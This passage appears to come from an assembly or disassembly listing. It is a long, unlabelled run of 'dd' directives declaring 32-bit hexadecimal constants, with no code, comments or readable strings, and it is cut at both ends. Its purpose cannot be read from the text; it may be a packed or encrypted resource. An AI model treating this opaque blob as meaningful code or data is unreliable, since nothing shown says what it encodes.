0D199B4DDh, 5C315087h, 128C7011h, 0C4FFAAEAh, 9202B9A4h dd 0E0B0A15Eh, 46A0C6BFh, 0F29C0269h, 31958A12h, 94D01164h dd 2BC270h, 8402C519h, 0AA6572A2h, 33804094h, 0BE12D499h dd 94330D9h, 73D06639h, 0E8FC405h, 980D9ED2h, 0CFD9C12Bh dd 3C9B59FCh, 780EF51h, 0A65F3D98h, 0E801DDE1h, 0A8FED87h dd 7071C3CAh, 21A2F463h, 3C360D30h, 0F297DBB6h, 586EC0h dd 0C460868Ah, 11229A57h, 651025h, 0B11DD1FBh, 1B81B8h dd 678FBCA1h, 0A4D59C61h, 8C769905h, 88198D7h, 3C003947h dd 712838B2h, 1158C4B1h, 0E0242C7Ch, 0FB629A64h, 0BE330E0h dd 4F4450A4h, 4B23021Fh, 4C55194Eh, 0B804D066h, 4A394111h dd 21243CC2h, 546BDD26h, 0E8A2CCh, 429EA3E4h, 0E29046h dd 2A9DDBCEh, 438B9573h, 8584AA5Ch, 0BC202969h, 7AB979h dd 42561CFh, 950A4682h, 0A2608A03h, 31AEC36h, 40FF5A1h dd 0B1F8ED86h, 0C42EE42Dh, 0F99304FEh, 0AFD74420h, 84C91F36h dd 4909BA34h, 6068E4E1h, 0A0E6183h, 20AA5BDCh, 0FC351630h dd 38D01F4Eh, 29F619DEh, 0FE4F033h, 0DB49F4E8h, 32E6831Ch dd 2930C26Ch, 26A1420Ch, 0EF9F3E01h, 0CE6E68EAh, 2AD46EE2h dd 0EA7C4FE2h, 0FCA2008Ah, 2CC7F7Eh, 53003E93h, 0D3376327h dd 374972Eh, 0D96E5F6h, 7BE18EC1h, 808D4454h, 177A0310h dd 0B8CEC807h, 0C2531342h, 0BFEA8822h, 9C2600C7h, 0C13366AAh dd 3274F5DFh, 0E5B9F807h, 6D259843h, 0D6EAA840h, 0B201FC90h dd 0DD301F48h, 0A1C58A1h, 8001797h, 3690D051h, 0A0C170h dd 3825C394h, 527B796Dh, 480AE43Fh, 1E3722C4h, 0FB5005D8h dd 0EA21DC00h, 3AF45B8h, 6C5EA700h, 8C7C0807h, 8BC9000Bh dd 0CDEFC126h, 66631572h, 7C8C7E0h, 2F5AFE18h, 42B2D2FBh dd 0EA7A1458h, 0C0364400h, 37EE49BEh, 86DB0099h, 5C5093Fh dd 0AD069A6Dh, 0E2792FF3h, 52B23818h, 0B0C40180h, 5393D0A4h dd 0FFBEDB00h, 921F66CCh, 185E78B8h, 30648467h, 40749D43h dd 3E74DB0Eh, 78F88086h, 781FFh, 0F4D84A6Ah, 0AC964373h dd 0E1020508h, 8986830Fh, 7948BE29h, 7EC30711h, 7AC11126h dd 1880870Ah, 7F5BF1C6h, 9A0051A3h, 0ECEB6056h, 0E8B878h dd 3D83B940h, 452C9FC5h, 6D34AB1Fh, 0EDA1C2C0h, 0F80D0Bh dd 952FF65Bh, 71BE42DCh, 7B77371Fh, 89A341CCh, 5FC500CEh dd 0CD4201E5h, 0A800AC9Eh, 9351489Dh, 28351817h, 1D0D7DEh dd 7328453Bh, 81954A2Fh, 0D64E5EB0h, 35CCA2ACh, 5B080004h dd 5FA6F390h, 70F04495h, 0E3C1F60Fh, 53C3C1AEh, 4230D02Ch dd 59342A0Bh, 5F300684h, 11319468h, 0A9033777h, 6684A369h dd 4CA83D89h, 6D75ED00h, 8E304B8Fh, 0A08AFB00h, 46117F58h dd 42700080h, 1C6D37E3h, 4032421h, 774AC630h, 5307F14Bh dd 0FA342980h, 5F214F33h, 67FEFF00h, 0B67C2A41h, 804403DDh dd 82C1623h, 0AC094980h, 14A1B800h, 626EAF8Dh, 0A9B90036h dd 86B00560h, 173A0C69h, 16D41D72h, 0FA0D4200h, 0F83424h dd 5626D3Eh, 25DA110Ch, 1C9091E0h, 0EA14B903h, 0F39AA6C1h dd 29BAA080h, 23D9184Dh, 24B21001h, 94C1B309h, 164B817Dh dd 0D1C00669h, 44AC0008h, 496B2B47h, 800E2D53h, 0C08E5210h dd 5462723h, 1B1E1BF9h, 0D07C1184h, 52433900h, 0A6D90371h dd 4108C033h, 0A2E76035h, 0D0CA311Fh, 0DECF9F00h, 9D334FAh dd 0C9A34DEDh, 0DB798580h, 10C056E5h, 64ECAFDDh, 73A80310h dd 953618BEh, 323DDF90h, 0EE20400h, 54D9C972h, 0ED251E9Dh dd 0D2F901A6h, 0D3CFA14Ah, 8DD367C7h, 14DDE030h, 0DFD0311Dh dd 98DA720Ch, 21DB0C77h, 20CC35ABh, 43D64A2h, 0B883E177h dd 0FB10802Ah, 441C228Dh, 0EA16001Dh, 26CE0604h, 3D7E1ADAh dd 203980FFh, 0FBF75442h, 6A6E07A6h, 466D7703h, 0DCE321ACh dd 9A00DD54h, 7A6CC82Ah, 176E5868h, 0BC90218Bh, 330F00A1h dd 750DFC47h, 0BC545D07h, 8DE24300h, 26CDFDCFh, 0D9A1E607h dd 94C0238Eh, 0D6020F81h, 93D00F90h, 0DC7073BEh, 69B96DE8h dd 6E66D1C0h, 0B8AE47E1h, 9B0E19B8h, 87136844h, 0E137E821h dd 7679970h, 0F8D8064Dh, 0F85FFBB5h, 0C41473Fh, 1031568Fh dd 7B20034h, 8128EB3Eh, 7B0A2726h, 0A083D9EDh, 365C8580h dd 8913D1h, 0C6319F59h, 0EABA1DC4h, 2EE51600h, 538C791Eh dd 9E050C26h, 39587073h, 0D83D400Ch, 0E874910h, 1A47CD21h dd 941C2480h, 9AE82734h, 0D7CE21C1h, 61C0F7C2h, 1B351820h dd 0FB75D14Bh, 0D2E82E54h, 0C6316C60h, 2359755h, 6284FE64h dd 5F7008CDh, 39832931h, 0B2101CF9h, 22002A03h, 76D0F5Ch dd 30E7407Bh, 59211A87h, 5B183611h, 31024FFh, 68B40C4Ah dd 9A58CEBBh, 250609C6h, 41630020h, 95A957B4h, 0C9287F0h dd 0AE5FB0Ah, 1C008045h, 0D339F8EAh, 58E01E26h, 30D4B911h dd 69B40445h, 3114A6BBh, 5C001209h, 0B300A7E0h, 1F9D669Bh dd 0A179EA86h, 5C418C34h, 885016EBh, 3E7FE9AAh, 859D2DA2h dd 896A41E3h, 8368BA8Dh, 29EA5290h, 0DA2000ABh, 893F3BFAh dd 164083ADh, 0DB81188Eh, 0AF80B02Ch, 43C9A48h, 0ADF1FD24h dd 0CCE96880h, 2A883ED9h, 31A31A03h, 0B11D9AD8h, 0F7062859h dd 8120772Dh, 18EEE4A8h, 6A08B44Ch, 66093EBBh, 6100410Bh dd 725AB443h, 7F1162D9h, 0C3FE7C3Bh, 0E0257378h, 263040C9h dd 0CD1E0128h, 27291A42h, 0E789880Ch, 0F9C0E0h, 87F7163h dd 0EB96CB95h, 97AE1A06h, 62A8706Dh, 561890B8h, 7E20045h dd 4DB11812h, 3CB9C51Dh, 31893580h, 683D93BBh, 12A0B8ABh dd 6FDC6046h, 0AE7D4AE1h, 2F58448Ch, 0B5E13200h, 1B335C93h dd 2619C76Ah, 4249678Ch, 0FCA3355Bh, 0DA0AEE2h, 4F07D1FCh dd 6049B5A8h, 1653330h, 5839CF83h, 0B91C3118h, 75B9700h dd 73AEC368h, 84FD1C99h, 7960CFCAh, 4223D9F8h, 31F77C15h dd 133A00F4h, 0FEFC27FAh, 1D426E1h, 95E60A50h, 803211C8h dd 1A48CD2Ch, 222543D9h, 0E2D10F8Bh, 80BDBBC2h, 955CB060h dd 31006AA0h, 27B7E625h, 1D41BEB2h, 0DF77A91h, 91782A14h dd 25803168h, 0C11A43CDh, 0EA86448Ch, 0A1CD1B0Eh, 0CC2AA0B9h dd 50C44AD5h, 9B10D9h, 9F9AC5F4h, 0A21FDA76h, 0FFCA3B07h dd 0B850EB2Dh, 289799D2h, 3806E95h, 3D3532B3h, 2EE1EDE2h dd 586BF412h, 0F5AC3B54h, 0D0C83201h, 6E22C678h, 0D08549E9h dd 301E0AE3h, 9088BDC0h, 0CA0070E0h, 6D309A0Ch, 0C8CA1C8h dd 436EE295h, 38605668h, 67E72431h, 0EB9A0FE8h, 0C13E8829h dd 8BADF8F5h, 560646Bh, 0E9B40B48h, 0ED1A30CAh, 0E87C6800h dd 0D21E0E2h, 0B7F109E6h, 9C871D46h, 1014A407h, 2B21B930h dd 8F513010h, 0E3350019h, 32631C3Ch, 2578BDB9h, 0A580EE8h dd 8CABE8B8h, 92EC6839h, 0CC02DDEDh, 407DAA63h, 28FFA3B4h dd 12D87A79h, 202E1B34h, 0A76BCE9Ch, 7041840Bh, 58500C47h dd 867B0BD2h, 882309F6h, 98EBCF7Ch, 83FA4101h, 1A1FAAE3h dd 39184980h, 6AD8E4E6h, 38D9A700h, 0C064D74Ah, 88770289h dd 4216F771h, 22DB1441h, 47CF00A4h, 762BD8DFh, 6318FC13h dd 3D36511Fh, 682AE4C0h, 0F50A1890h, 885A1ADBh, 995445C3h dd 76189EFBh, 6C4188h, 1429A554h, 6940EA1Bh, 0ACA7307Dh dd 0FE607444h, 50E7E5F6h, 1B8B2288h, 13637F7Bh, 0E56A2C10h dd 6808B112h, 0E1AFCE6Ch, 170CAEC2h, 0ED116219h, 7D1A3036h dd 0C6F2A000h, 0CBA5AC48h dd 0B78C0525h, 1AF861Bh, 5B05FBE0h, 73609189h, 49E16881h dd 7459ACAEh, 0F330650h, 0A86A24E1h, 54E083FDh, 21EEBA5Ah dd 0A05F2F00h, 9DFB99AEh, 46B82E06h, 8037914Ch, 1A45CD27h dd 88448C91h, 0C2E500D0h, 0FBC978EBh, 1A07A36Ah, 1D03A8BAh dd 109FAD81h, 40D5C824h, 58431808h, 6EB44801h, 0C149EBBh dd 5D25400Fh, 0CDB43F01h, 0AA2203B9h, 1BC7B464h, 0C9761EFEh dd 474FB5B8h, 0DEAA7007h, 597032BAh, 0A290AC8h, 8302FFC6h dd 62465C9Ch, 0A313DC00h, 34FD0535h, 0C667D903h, 46E170Dh dd 17597F9h, 595CA0CBh, 0F7860B9h, 5A068625h, 830E6821h dd 0C18AA1D8h, 9AC64D2h, 1C33CD7Ch, 0C1758C11h, 3A24341Bh dd 798E4412h, 0BD35447h, 2AFF0580h, 8C763963h, 0AC003F4Ch dd 18F547A3h, 2F55E3B7h, 0E40861C4h, 0E800E9FFh, 0F026CDFEh dd 2425436Ah, 42D0AE79h, 0CC407034h, 75881A90h, 1CACB9FEh dd 11C86649h, 37B8003Bh, 0F42BD20Dh, 0E8F05CB5h, 0C059DF10h dd 0BB6FB44Bh, 0B448C36h, 0B43E0376h, 1A7AB765h, 566BB9A0h dd 605C2326h, 28E42980h, 1893AE81h, 195D4805h, 98A07E71h dd 0DB74C424h, 2F46A56h, 0AE2EE16Bh, 105D313Ch, 7E130DBh dd 5C7E3B43h, 4E7B2525h, 0B7E0BFA8h, 66D9051Fh, 0ACA45D1Dh dd 0E73932D8h, 6E090945h, 157106Fh, 11052FFEh, 81000472h dd 26D338F7h, 6A288DFBh, 180CBC4Eh, 18321382h, 79CA45Bh dd 0D045CE2Fh, 9F7D1048h, 0CC089122h, 211FC25h, 5BABD233h dd 7F13BCA0h, 50C36602h, 818E17h, 0AA8C7DB1h, 76A2CDEAh dd 30563618h, 2D3161h, 4DABAF32h, 0EFB22103h, 0B09AA31Fh dd 0E260DEC1h, 0B030CB23h, 4B028C44h, 6EFB1E54h, 10A8196Dh dd 547343h, 26E8163Ah, 0DAEF1B6Eh, 85301949h, 9840281Fh dd 4088D07Fh, 4DDEF0C2h, 570A9CCEh, 454F970h, 0CD354373h dd 2408BDFCh, 0AEC138FAh, 7870DF84h, 20028C36h, 0F91A44CDh dd 17891927h, 3B2016E7h, 0EED0DDB1h, 797414CCh, 1C0520A3h dd 0C017F3B2h, 0D79DFFDCh, 0D2A086E7h, 1AF178AFh, 3114BB79h dd 0EA899460h, 0B36044ADh, 53361Dh, 881484B1h, 2408D0FFh dd 0BC8C564Ch, 3A27432Dh, 8438ACFFh, 0F158124h, 24BA38C0h dd 0E302342Fh, 0A7F6B93Ah, 0E0EEE2C4h, 642C708Eh, 4950393Fh dd 0F7AFEC02h, 6850140Dh, 9C7E5AA1h, 1F80DCF9h, 0E0FD92FEh dd 37D01210h, 0D0D1CF5h, 583E97h, 4A1798Ch, 394A549Ah dd 8323482Eh, 0C81EDB09h, 0A6DA68h, 4670899Ch, 0BA40F856h dd 7952B203h, 0B05C3C88h, 0C499DDCFh, 0C4F526B0h, 0B224A2F0h dd 33CE3013h, 4538E476h, 6E9F0CC8h, 1F76210Ah, 70D69C79h dd 727AD210h, 0D9E088A8h, 2B90F60h, 77656AA7h, 0A1E603D8h dd 41BB5B20h, 7064828Ch, 0FC116847h, 40B00092h, 0A7EE341h dd 301D4C02h, 0E12B3242h, 82EA0EE0h, 4C6037ECh, 8E3219ACh dd 402E9186h, 6101DDBEh, 0FE073101h, 0E0978FF4h, 2F404440h dd 0D98A187Ch, 1945B998h, 88D35Ch, 0EAD0D87Dh, 3D41B087h dd 6E3A6B98h, 92C9979h, 0E4180A79h, 6007723Eh, 486A654Bh dd 36F0004Bh, 13074374h, 742A9692h, 0F2CCE2D0h, 8DEF301Ah dd 0A39770A0h, 4B8AC802h, 418B283Dh, 50682A4Eh, 80910E25h dd 8D31833h, 0F11A49CDh, 0D4401FC4h, 0F68C001h, 0B5FB41Fh dd 69812418h, 554807B1h, 573AEF5Ch, 423130A8h, 980B9BCCh dd 4F09454h, 42158C8h, 95D21132h, 57F76180h, 992D9705h dd 51554302h, 6037C59Ah, 88350D78h, 31C37ED2h, 0BF4717B3h dd 7DE9C700h, 89F0133Bh, 0C8208B97h, 0E0EEC483h, 4C02E318h dd 6A7E7BD2h, 964D058h, 7DE1FF7Ch, 8215F420h, 149835DBh dd 0AE95573Dh, 7A1170F4h, 1A9C8D88h, 427620Bh, 5CB036C8h dd 22E04B9Dh, 49303E58h, 0FB2C3D54h, 0AA916DA1h, 54714D00h dd 0B7012AFAh, 0EB36D504h, 880B225h, 2EFF6B75h, 82847259h dd 4BE1E342h, 4889BC62h, 3D003C44h, 0C098FABDh, 977A2h dd 69214325h, 34A8CB7Ch, 0EBEFFF12h, 0DB305405h, 61E79420h dd 15E90FA7h, 0B2005E8Ch, 3468E316h, 2E44AF00h, 3AF06B7Ah dd 0C8E22D19h, 0B5794482h, 0FC0FF090h, 3BE381C0h, 17652FFh dd 6BE15A0Eh, 2C164369h, 345B8538h, 3897F840h, 7030E29h dd 45A97D2Eh, 102AF7F4h, 21B04041h, 0AE098AE0h, 61690F3Fh dd 442D8328h, 3BA78800h, 0C5DFD429h, 0B8FCDB00h, 0EEF9AE0Ah dd 52F50049h, 0A55B4F86h, 424A1B19h, 89209402h, 0B0EC52B5h dd 92C5A17h, 0B1808070h, 63B5C039h, 7C02F900h, 6C66450Fh dd 4C549F6h, 737FBDC1h, 1440301Ch, 7B24201h, 87EBEC62h dd 0C168BC70h, 0C3FADDB1h, 80A4681Bh, 749DDB04h, 0A01D004Ah dd 520E36BCh, 2507D4E7h, 70551C42h, 79BB3A51h, 711DB6DCh dd 999F00E0h, 0BFA35710h, 0B07DBCB8h, 80E8C7Ah, 0E32FD7EEh dd 0C07FAFE8h, 98416312h, 59F67Ch, 0A2F48FD9h, 0E0F81D5Bh dd 0AF395700h, 2BB23CC3h, 0C2B001C1h, 0E67551E1h, 15D3FCB7h dd 6F9DF000h, 6950A16Eh, 480FEE89h, 0BC1E986Ch, 48C0281Fh dd 41237025h, 0D3540E39h, 0AF88D1FBh, 546E4280h, 336082h dd 5DEB161Bh, 0DA01B4ECh, 8300FC91h, 0C1CFA11Dh, 988C0074h dd 0F303260Eh, 65F6E5E6h, 2D0D1B58h, 759811B7h, 0D86D1DC1h dd 0C57CF07Ch, 98608B18h, 811FA7F4h, 69C001E3h, 73F1C0C1h dd 9C245814h, 448B5A76h, 0D6D8EF5Ch, 5746E000h, 0A544813h dd 4E7076F0h, 70400071h, 1798CB54h, 0FF762420h, 0A5434774h dd 32088F4h, 5EC3BD00h, 0D7324E35h, 292A6058h, 0CD396621h dd 0A4565D00h, 94F1F3AEh, 0A16C0226h, 0F63CE113h, 6244ECC7h dd 0B06F4A60h, 2686CA03h, 0C1ABB640h, 798021FEh, 87A5512Bh dd 98009243h, 0F85BC7E6h, 4D579DF6h, 740F9423h, 26F01207h dd 0D401CD2h, 1D148FF9h, 0C073DFB6h, 54138DA5h, 0B4002425h dd 0F7BB904Bh, 17BA1B3Ah, 1CE0B7Ch, 8DF522C0h, 0E9460079h dd 31623E8Ch, 0C333170Eh, 0B3253FA0h, 0E213A3C1h, 309C0C51h dd 1B348899h, 83924096h, 20BF4C90h, 0B1D75B8h, 31F0D117h dd 0FE443C8Eh, 58ACA21Ch, 38B97634h, 8B26310Bh, 0C4343310h dd 38428885h, 531808CEh, 0BB317048h, 560B2617h, 0F0BA04D0h dd 82E0003Dh, 0DEAE1748h, 0FA0023BEh, 0D74008CBh, 35C256A6h dd 6F88BA07h, 6F280B44h, 263C98B7h, 0DDE91EE6h, 1EBA7A17h dd 0B420EC55h, 4CA89019h, 6DC9B482h, 61E4DCE5h, 39B8C863h dd 0C000F47Bh, 7C31DB7Eh, 0B41155F7h, 3E7691B4h, 15B1E583h dd 4FE782C7h, 6003B011h, 7A30FCE1h, 28912F33h, 1120E891h dd 543C3243h, 70A88532h, 13E13530h, 8C6CAE48h, 29896770h dd 6BBAA100h, 0FE5BEF00h, 85438B65h, 2CB25C79h, 90E71481h dd 5B582008h, 0FB0268B9h, 606EB7CBh, 1501A022h, 9C8D92DDh dd 9DC14603h, 0C8ACF398h, 6A162348h, 3026A1EAh, 0F85B48F1h dd 80595D85h, 31482B57h, 5C62A200h, 0E7B0D0A0h, 0CD92120Bh dd 0B088A63Bh, 0B49F2B7h, 0DB31227Fh, 67C428E5h, 4E37A060h dd 42BE8513h, 5107F600h, 2D99E088h, 3C97DA46h, 2909C639h dd 0F490D9BEh, 4A00BF3Eh, 96E356B1h, 940F7E4h, 6EE79E05h dd 60B90458h, 0F4198671h, 20001495h, 7EBD63A0h, 91AD9879h dd 0B4A83B34h, 0EED22628h, 0F0E540C8h, 949EDC0Dh, 0C1A465Ch dd 497F8DA4h, 0CE7E143Dh, 741E84F6h, 64FE0033h, 512124D3h dd 585E7A7Dh, 0FE108C2Eh dd 634BC711h, 0D7C45723h, 32BC2030h, 1B9F1614h, 5D541D1Dh dd 79CA89B9h, 0CB9B4404h, 0C4183C98h, 0C022F1EFh, 4FAFEB80h dd 3500F08Bh, 8267409Ah, 527ECDFBh, 9C0B98B6h, 8C413B87h dd 8EA83030h, 2B87889Ch, 59C01076h, 8FEF93h, 0AF43B5D1h dd 6B989B66h, 87B67919h, 0C862BC49h, 74062900h, 0B9D4AB01h dd 9DC3439h, 911E3B44h, 0BC3657C0h, 39CD92Bh, 0BB35B449h dd 0B00CACBCh, 0B44460h, 0BD1E3CBAh, 5C283A61h, 2E3058A0h dd 0E05AF600h, 94EFE537h, 0B6CF00F1h, 25324D12h, 5D059ECBh dd 85E4A9ACh, 857FBA87h, 0E88858F5h, 2FC3016Ch, 45CF091h dd 203AD80Ch, 83EE963Fh, 0BA6E3335h, 0CCE9306Fh, 5E73BD88h dd 7CC240F7h, 6612F6C5h, 4E30A79h, 6B34094Bh, 18D024CAh dd 815B0B21h, 0BB6BB42Fh, 0B0D47C56h, 0C0B4425Ah, 0F955F43Ah dd 5427C42Fh, 2BE090FCh, 58B02946h, 190279A8h, 38276DF4h dd 0DF05405Dh, 0A1374BA5h, 46BD41DCh, 582F2E89h, 1F030223h dd 0A7E6F242h, 9C70CABEh, 7FFE9680h, 3F0B8A17h, 0A100036Eh dd 0FF634139h, 7C764A9Dh, 87131D73h, 0D4121153h, 0ECA688Ch dd 0EB0C60AFh, 0D5E4E7C0h, 0EF003F52h, 80C3F26Bh, 4F8ED47h dd 0FE757436h, 0F40E437h, 0C38FA28Bh, 0E4698982h, 0A870D4E2h dd 4B7E449Ch, 84C539h, 0B7D11A9h, 714219A1h, 1EBF1863h dd 0E1E03131h, 661EA9FCh, 4A85547Eh, 0EC84B75Ah, 0AB88A48Eh dd 3895C4C0h, 0D63B3939h, 0A99A6889h, 7106850h, 2B026E76h dd 2027AE30h, 0C644645Eh, 7F2830E8h, 0AE3120A0h, 0E07BBF03h dd 18BC21h, 84A7AAB1h, 0D020C351h, 7E394900h, 8B18632h dd 0DE17BAEh, 2FB91ED8h, 0F09C26B9h, 28054295h, 0FA0CB9C8h dd 45D63003h, 37BD6B99h, 0E6840C25h, 0A3231620h, 7140458h dd 454D001Ah, 693B880h, 0F5C1C01h, 22095068h, 87FA60D8h dd 5D80E058h, 7BDD89h, 9307770Fh, 7387E7A4h, 0ED01658h dd 4127304Dh, 78E5FD25h, 0C50FA87Ch, 0E041342Eh, 509E0BB9h dd 0D68608B4h, 7BFAAC02h, 0E809B6DEh, 4BF7AEA4h, 6110C771h dd 0A5D4E563h, 0C0C4ED70h, 466951BEh, 88CECD17h, 0D021D009h dd 0CF773F44h, 98E20D25h, 688E497h, 18FE6025h, 3C99F495h dd 0B27E7B06h, 92A727C9h, 830E2460h, 7C97608Fh, 247772B5h dd 68405B5Eh, 285A0EBAh, 0D826005Fh, 16D9DE67h, 1A03C685h dd 21A2FB8Ch, 58C2A48Fh, 0B9BC01D0h, 9158858Eh, 44207180h dd 244BE16Ah, 0C43434AEh, 3DC05E5Eh, 0C44D6EE1h, 3CA5748Bh dd 288B3A07h, 0B00BEB81h, 8964CC47h, 0F6847362h, 0AC82C23Ah dd 7C6AC0C9h, 0C83E17CCh, 68BD64D4h, 0E60047B8h, 0FBF48D2Ah dd 817E7592h, 0CCD9AE1Bh, 13465Eh, 7A126605h, 0B0FF205Dh dd 472F07D0h, 64A5E41Ah, 89A0C014h, 97953BC1h, 827D1174h dd 516CE435h, 424B0094h, 8E042EE6h, 35306909h, 26E44890h dd 0FFB71613h, 6CC0901Eh, 0DF2F95FCh, 3E042059h, 3CE21192h dd 5BC2DB7h, 3C0069AFh, 0AFA5EA1Ch, 640818D2h, 0F418BE43h dd 116F41C9h, 0E0B45207h, 28A1F5E3h, 7C72BA4Bh, 0B5595700h dd 51F9C8EBh, 0DC1BF300h, 698D0344h, 8E31123Ah, 0A58C407Ah dd 72E328D3h, 504DDECh, 0DB472CA8h, 5DC8888Bh, 82F46C0h dd 0E99419D8h, 2FE06185h, 5FC83018h, 22BC80B2h, 10A339C0h dd 28E837Dh, 0CAC066E9h, 80071D58h, 0A7500467h, 82541FAh dd 2E1FA397h, 0C3459C83h, 0FBFFA02Bh, 7EF53D36h, 474C904Bh dd 0C009FE07h, 1058E07Dh, 2E9D59CCh, 25ED2D7Bh, 0DF00B2F0h dd 81C343AEh, 2C5BC1F9h, 0E08431E1h, 82E60526h, 0C400145Eh dd 1A56E338h, 3C80450Ah, 8C74BC10h, 0D989F00Ch, 3B9B197h dd 0B848436Dh, 71A8B274h, 0E14BB74Dh, 9D17B3BCh, 1DBA02DEh dd 64C17C2Ch, 0F82E3B39h, 2A008923h, 0AD92E6E3h, 0E0830226h dd 38BA1A4Bh, 0C28F47Eh, 0D04F911Eh, 76734C1h, 0C03013DAh dd 44189074h, 791E6E7Ch, 17B88FEh, 0E2EA7359h, 2C388192h dd 4BA16C1h, 52E30015h, 84D90299h, 72B19891h, 1A2F0451h dd 0F114E280h, 486A0040h, 0FE247492h, 3CA97600h, 0FAFB2A40h dd 1E8CB825h, 863241EBh, 0A81CD997h, 0A518342Dh, 24F483D0h dd 0D39B501Ah, 128B046Fh, 0A909A377h, 41F527F8h, 0B87839ECh dd 18C86B8h, 268B64D8h, 0E25415BAh, 8707FC59h, 0CAE051B4h dd 133D4038h, 98B044CBh, 214305F4h, 49C18E12h, 0C859DAECh dd 9D18AF71h, 0A26F9500h, 0B3D455F2h, 33FD0932h, 2CE4758Dh dd 404000B9h, 2B8A56Bh, 3EFAEFA0h, 8C61326Dh, 0C6481011h dd 2E1AFC5Ch, 114087E8h, 2AC458C1h, 18C2BCDAh, 223F7E09h dd 0E91010FAh, 0CA2084ACh, 54289C76h, 15EA1808h, 7FFB09B2h dd 44488C90h, 0E6BFC002h, 0D60B337Dh, 80409150h, 0FB225447h dd 6016974Eh, 54004FFEh, 3E10409Fh, 0C0395B1Bh, 932C8479h dd 0A500D950h, 22FA8CB1h, 756D0887h, 0B7E006DDh, 0B881AA03h dd 5D067538h, 62340938h, 180C82B0h, 4C15326Ah, 6787AC11h dd 5902604Ah, 0A1120DB1h, 1CA458D9h, 1FACE0EBh, 440AC572h dd 80D6D5E9h, 0EA2A8CDCh, 3A4F36F6h, 8923A42Eh, 0AF18E900h dd 4FF438B7h, 28CC88BAh, 1E697D00h, 77B3EA9Bh, 9E9238D4h dd 0F200513h, 5DDB844h, 0E09AADCFh, 5C00312Ch, 0F0B92E84h dd 6093D2AAh, 4E9F6874h, 73000792h, 0FD998D5Bh, 990D0h dd 98828ACDh, 29343FEh, 7A00EC77h, 0C99B7987h, 3A0572h dd 776D8B85h, 0C03709Dh, 8E0008E2h, 53D28759h, 1330A06Fh dd 18E39792h, 0FBB7A8CEh, 6109490Fh, 0A20C40ADh, 323354h dd 84FE0193h, 723AEA85h, 98FC1000h, 2475EF19h, 6A150392h dd 288C1F31h, 59E52BD0h, 3914E100h, 678E259Fh, 0BB150001h dd 27B0FBAEh, 387EFA09h, 94DD8F00h, 467B731Bh, 9593007Dh dd 9DD0310Eh, 0B67CBC11h, 10921900h, 0D49F4340h, 0C348C314h dd 79E87D27h, 6BE4429Eh, 0D4E59A28h, 3645B3Fh, 5C59E2B0h dd 0E01FA94Dh, 6845F0h, 1EBA0E3Bh, 7FCF2CD2h, 67B37B00h dd 6483023Eh, 269E0EE4h, 0A8205A11h, 1AD3D8DCh, 713F241Fh dd 0ABE41401h, 0A8244579h, 0B13500BFh, 0F9907F51h, 0B51F1C2Ch dd 56000AFDh, 7223AEF6h, 0AABC3F68h, 54017400h, 9E2155C4h dd 5B2741C0h, 661877h, 10A2402Dh, 1529C120h, 816E6D03h dd 0F5CDE5h, 74DC2F50h, 4BB86A38h, 16C1AE1Eh, 4514B300h dd 6F2E6215h, 6D2A28F4h, 10990385h, 0E1F097FBh, 0BD00B649h dd 8591BAEFh, 54C8D8h, 3E31D19Eh, 0A6ED5803h, 0EF085C00h dd 0F432F942h, 0CC200C3h, 26EEE0ABh, 0FC18F60Bh, 2072839Eh dd 2485033Dh, 7966FB1Fh, 0D36359DAh, 305FD007h, 375157A6h dd 0FED8D834h, 0A9CF003Eh, 51253642h, 56388A08h, 5C40011h dd 0CF5F898Eh, 9A820C37h, 0C6402CC2h, 126D4Ch, 439CF0D7h dd 0E051ADBh, 0A5012157h, 0A2D9540h, 99135A65h, 0FC5DE01Eh dd 0FCA73C0h, 90033893h, 0A8878010h, 263C076Ah, 839E61DBh dd 9F9796A9h, 683849E0h, 0FCE784E1h, 0E6270D6Bh, 1C08F6D2h dd 0FD3FC036h, 0FFE76345h, 6A8CD100h, 54926075h, 98F62857h dd 0BD9500B0h, 233069Ah, 0F7394ACh, 9EF13900h, 69CAB050h dd 1EF0A0C7h, 20E95874h, 6192E881h, 1B0CC8A0h, 59302D7Fh dd 0FB9F383Dh, 74F87933h, 1F550063h, 0DC93B435h, 110039B2h dd 0A3F662F1h, 63F27Dh, 8695964Dh, 0D58E4541h, 7C50C000h dd 76B9FDBFh, 4AE2007Dh dd 870ABCF9h, 750E96AEh, 208092A0h, 4E217E72h, 0C21012CEh dd 78C42207h, 0ED601468h, 0B55DF000h, 0EC094AA8h, 0DCCF0A87h dd 387A545h, 0DB356E72h, 4484BEA8h, 53D4F0Fh, 271EA0CAh dd 12EA2Bh, 87EB99ACh, 2A480602h, 34E05F1Dh, 0DC6B81C4h dd 0D3D6ACC7h, 1910080h, 6015A896h, 271390C9h, 2C800AA7h dd 0FE891137h, 2C1B01ECh, 4D724464h, 0A6C3E8BAh, 0C63DD500h dd 0EA51B03Ah, 7F7C0792h, 70485E2Fh, 89D37556h, 0C27DD000h dd 0F74BD855h, 0C1EE00BCh, 676B808Dh, 22009414h, 5C8B0BE9h dd 0CC2DBABh, 355070BCh, 1B0071B0h, 0BED7F03Bh, 61DAED8h dd 0C4118497h, 3322A8D4h, 4B2D0035h, 425658F4h, 549038DFh dd 6DE57E1Fh, 0EF85E047h, 0F847CE90h, 539002Ch, 7040813Fh dd 65028CC9h, 0B4BB14FDh, 3298C1F5h, 486040C2h, 2BA600ACh dd 0BA1A2226h, 0AE00DB44h, 0F24A30FFh, 9FB11h, 837E1654h dd 87A266E9h, 4BF813FCh, 5CB3CC09h, 27CC2EA4h, 9DE128FEh dd 8D40E9E8h, 1CB9B6EEh, 0C9BCF8F2h, 0D4002B1Eh, 0B7885A34h dd 0EB86AF00h, 6980A5DBh, 11190584h, 809615C2h, 36ECE995h dd 0D4A639h, 53CEFBA9h, 8F2E49h, 150401EFh, 1B3F683Ah dd 76726007h, 1923DA6Fh, 9B6C908Ah, 225A480Ah, 0E6D79500h dd 64A5D34Ch, 4FE0C8A8h, 457D48h, 6612883Ch, 28FE2ED8h dd 0FF8A1EAh, 0B0807AD0h, 1AA74CC3h, 8C9848h, 0C6BF747h dd 0D9D64Bh, 0F4080925h, 0CB5BD546h, 696A3702h, 60060D43h dd 3C59776h, 6E63C357h, 0B680D06Fh, 0C6005D08h, 44DA890Ch dd 0FEE442h, 4D848B8Ch, 3DD8B205h, 96ADBE00h, 25230479h dd 8D460041h, 0C0B8EE0Ch, 0B6A04FBBh, 352E1B2Fh, 3B405C4Bh dd 3C362C7Bh, 725BB2h, 0DAA9C1EDh, 6D2941EAh, 0A69F6903h dd 0C13A6706h, 0ACE0E36Eh, 21E86134h, 0F4A8BE6Ah, 26001F5Eh dd 0DCF0250h, 3ADF84A3h, 404FA4FEh, 